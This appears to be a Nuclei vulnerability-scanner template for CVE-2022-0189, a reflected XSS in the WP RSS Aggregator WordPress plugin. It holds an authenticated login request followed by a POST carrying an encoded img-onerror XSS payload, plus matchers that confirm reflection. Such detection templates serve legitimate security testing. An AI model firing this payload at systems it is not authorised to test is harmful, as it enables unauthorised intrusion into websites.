nuclei-templates/cves/2022/CVE-2022-0189.yaml

49 lines
1.5 KiB
YAML
Raw Normal View History

id: CVE-2022-0189
info:
name: WP RSS Aggregator < 4.20 - Reflected Cross-Site Scripting (XSS)
author: DhiyaneshDK
severity: medium
description: |
The plugin does not sanitise and escape the id parameter in the wprss_fetch_items_row_action AJAX action before outputting it back in the response, leading to a Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/52a71bf1-b8bc-479e-b741-eb8fb9685014
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0189
tags: cve,cve2022,wordpress,xss,wp-plugin,authenticated
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
id=%3Chtml%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29%3E
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src onerror=alert(`document.domain`)>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200